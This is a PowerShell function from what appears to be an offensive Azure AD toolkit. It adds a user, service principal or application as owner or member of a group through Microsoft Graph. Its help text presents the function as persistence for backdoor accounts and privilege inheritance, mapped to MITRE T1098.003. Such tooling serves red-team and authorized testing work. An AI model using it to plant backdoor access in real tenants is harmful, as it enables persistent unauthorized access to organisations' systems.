Public/Persistence/Add-GroupObject.ps1


function Add-GroupObject {
    [CmdletBinding(DefaultParameterSetName = 'ObjectId')]
    param (
        [Parameter(Mandatory = $true, ParameterSetName = 'ObjectId')]
        [string]$GroupObjectId,

        [Parameter(Mandatory = $true, ParameterSetName = 'Name')]
        [string]$GroupName,

        [Parameter(Mandatory = $false)]
        [string]$ObjectId,

        [Parameter(Mandatory = $false)]
        [string]$UserPrincipalName,

        [Parameter(Mandatory = $false)]
        [string]$ServicePrincipalName,

        [Parameter(Mandatory = $false)]
        [string]$ServicePrincipalId,

        [Parameter(Mandatory = $false)]
        [string]$ApplicationId,

        [Parameter(Mandatory = $false)]
        [ValidateSet('Owner', 'Member')]
        [string]$ObjectType = 'Owner'
    )

    begin {
        Write-Verbose "Starting function $($MyInvocation.MyCommand.Name)"
        $MyInvocation.MyCommand.Name | Invoke-BlackCat
    }
    process {
        try {
            # Resolve group ObjectId if Name is provided
            if ($PSCmdlet.ParameterSetName -eq 'Name') {
                $group = Invoke-MsGraph -relativeUrl "groups?`$filter=startswith(displayName,'$GroupName')" | Select-Object -First 1
                if (-not $group) {
                    throw "No group found with display name starting with '$GroupName'."
                }
                $GroupObjectId = $group.id
            }

            # Resolve ObjectId if not provided
            if (-not $ObjectId) {
                switch ($true) {
                    { $UserPrincipalName } {
                        $user = Invoke-MsGraph -relativeUrl "users?`$filter=userPrincipalName eq '$UserPrincipalName'" | Select-Object -First 1
                        if (-not $user) { throw "No user found with userPrincipalName '$UserPrincipalName'." }
                        $ObjectId = $user.id
                        break
                    }
                    { $ServicePrincipalId } {
                        $sp = Invoke-MsGraph -relativeUrl "servicePrincipals/$ServicePrincipalId"
                        if (-not $sp) { throw "No service principal found with id '$ServicePrincipalId'." }
                        $ObjectId = $sp.id
                        break
                    }
                    { $ServicePrincipalName } {
                        $sp = Invoke-MsGraph -relativeUrl "servicePrincipals?`$filter=displayName eq '$ServicePrincipalName'" | Select-Object -First 1
                        if (-not $sp) { throw "No service principal found with displayName '$ServicePrincipalName'." }
                        $ObjectId = $sp.id
                        break
                    }
                    { $ApplicationId } {
                        $sp = Invoke-MsGraph -relativeUrl "servicePrincipals?`$filter=appId eq '$ApplicationId'" | Select-Object -First 1
                        if (-not $sp) { throw "No service principal found with applicationId '$ApplicationId'." }
                        $ObjectId = $sp.id
                        break
                    }
                    default {
                        throw "You must provide ObjectId, UserPrincipalName, ServicePrincipalId, ServicePrincipalName, or ApplicationId."
                    }
                }
            }

            # Prepare the request body
            $body = @{
                "@odata.id" = "https://graph.microsoft.com/beta/directoryObjects/$ObjectId"
            } | ConvertTo-Json

            # Set endpoint and check for existing membership/ownership
            if ($ObjectType -eq 'Owner') {
                $url = "https://graph.microsoft.com/beta/groups/$GroupObjectId/owners/`$ref"
                $existing = Invoke-MsGraph -relativeUrl "groups/$GroupObjectId/owners"
            } else {
                $url = "https://graph.microsoft.com/beta/groups/$GroupObjectId/members/`$ref"
                $existing = Invoke-MsGraph -relativeUrl "groups/$GroupObjectId/members"
            }

            if ($existing | Where-Object { $_.id -eq $ObjectId }) {
                Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "Identity is already $ObjectType of the group."
                return
            }

            $requestParameters = @{
                Uri         = $url
                Headers     = $script:graphHeader
                Method      = 'POST'
                Body        = $body
                ContentType = 'application/json'
                ErrorAction = 'SilentlyContinue'
            }

            Invoke-RestMethod @requestParameters

            Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "$ObjectType with $ObjectId added to group with id $GroupObjectId." -Severity Information
        }
        catch {
            Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message $_.Exception.Message -Severity 'Error'
        }
    }
<#
.SYNOPSIS
        Adds an object as a member or owner to an Azure AD group.
.DESCRIPTION
    Adds a user, service principal, or app to an Azure AD group as member or owner. This enables persistence by establishing group memberships for backdoor accounts. Adding an account to groups with elevated access role assignments enables indirect privilege inheritance without direct RBAC role assignment.
 
.PARAMETER GroupObjectId
    The ObjectId of the Azure AD group. Mandatory if using the 'ObjectId' parameter set.
 
.PARAMETER GroupName
    The display name of the Azure AD group. Mandatory if using the 'Name' parameter set.
 
.PARAMETER ObjectId
    The ObjectId of the object (user, service principal, or application) to add to the group.
 
.PARAMETER UserPrincipalName
    The UserPrincipalName of the user to add to the group.
 
.PARAMETER ServicePrincipalName
    The display name of the service principal to add to the group.
 
.PARAMETER ServicePrincipalId
    The ObjectId of the service principal to add to the group.
 
.PARAMETER ApplicationId
    The ApplicationId of the service principal to add to the group.
 
.PARAMETER ObjectType
    Specifies whether to add the object as an 'Owner' or 'Member' of the group. Default is 'Owner'.
 
.EXAMPLE
    Add-GroupObject -GroupObjectId "12345678-90ab-cdef-1234-567890abcdef" -UserPrincipalName "user@domain.com" -ObjectType "Member"
 
    Adds the user with the specified UserPrincipalName as a member to the specified group.
 
.EXAMPLE
    Add-GroupObject -GroupName "MyGroup" -ServicePrincipalId "abcdef12-3456-7890-abcd-ef1234567890" -ObjectType "Owner"
 
    Adds the service principal as an owner to the group with a display name starting with "MyGroup".
 
.NOTES
    Requires appropriate permissions to manage group memberships and ownerships in Azure AD.
    Uses Microsoft Graph API via custom helper functions (Invoke-MsGraph, Write-Message, etc.).
 
.LINK
    MITRE ATT&CK Tactic: TA0003 - Persistence
    https://attack.mitre.org/tactics/TA0003/
 
.LINK
    MITRE ATT&CK Technique: T1098.003 - Account Manipulation: Additional Cloud Roles
    https://attack.mitre.org/techniques/T1098/003/
 
#>

}